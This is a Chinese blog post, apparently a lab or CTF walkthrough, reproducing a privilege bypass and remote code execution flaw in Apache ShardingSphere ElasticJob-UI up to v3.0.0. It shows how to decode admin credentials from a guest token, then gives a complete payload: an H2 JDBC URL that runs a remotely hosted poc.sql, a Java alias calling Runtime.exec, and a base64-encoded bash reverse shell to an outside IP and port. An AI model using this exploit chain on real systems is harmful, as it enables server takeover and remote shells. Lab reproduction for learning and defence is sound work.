本文作者:SwBack
创作时间:2024/1/21 19:19:19
知乎:https://www.zhihu.com/people/back-88-87
CSDN:https://blog.csdn.net/qq_30817059
百度搜索: SwBack
Apache ShardingSphere ElasticJob-UI由于返回 token 中包含了管理员密码,攻击者可利用该漏洞在授权的情况下,构造恶意数据执行权限绕过攻击,最终获取服务器最高权限。
Apache ShardingSphere ElasticJob-UI v3.0.0 及之前的版本
Apache ShardingSphere ElasticJob-UI由于返回 token 中包含了管理员密码,攻击者可利用该漏洞在授权的情况下,构造恶意数据执行权限绕过攻击,最终获取服务器最高权限。
具体漏洞原理可以参考这篇文章
https://www.shangyexinzhi.com/article/4555060.html
通过burp
进行登录请求抓包
采用游客账号guest
guest
利用burp自带的解密直接base64解密token,获得账号密码均为root
CREATE ALIAS EXEC AS 'String shellexec(String cmd) throws java.io.IOException {Runtime.getRuntime().exec(cmd);return "Q";}';CALL EXEC ('bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMTEuMTExLjExMS4xMTEvMTExMTEgMD4mMQ==}|{base64,-d}|{bash,-i}')
其中YmFzaCAtaSA+JiAvZGV2L3RjcC8xMTEuMTExLjExMS4xMTEvMTExMTEgMD4mMQ==
为反弹shell base64加密代码。
解码之后为bash -i >& /dev/tcp/111.111.111.111/11111 0>&1
格式为:bash -i >& /dev/tcp/IP/PORT 0>&1
将恶意代码保存为poc.sql,并在本地开启一个web服务,将恶意文件放到web目录下
访问测试:
攻击服务器开启监听
使用之前解密得到的root
账号密码登录进系统。
访问Event trace data source
-> +ADD
其中Name
Username
Password
随意
Driver
选择 org.h2.Driver
url
构造如下
jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://ip:port/poc.sql
这里的IP:PORT 为poc.sql
所在的web地址
例如我这里为
jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://ae59ad7a-70b7-4ff7-9721-45e96b5b1f21.node5.buuoj.cn:81/poc.sql'
如图所示
点击Test connect
连接成功
可以看到存在漏洞的服务器已经访问了我们放置POC 的地址。
成功反弹shell
在根目录发现flag.
这个漏洞复现并不难,其中遇到的几个问题,.
一个是因为服务器防火墙问题导致一直无法访问.关闭防火墙即可。
还有一个是poc的代码复制时将CREATE 复制为了REATE 导致无法反弹shell。
需要细心检查一下
本文由SwBack
原创文章, 如有问题,欢迎指正。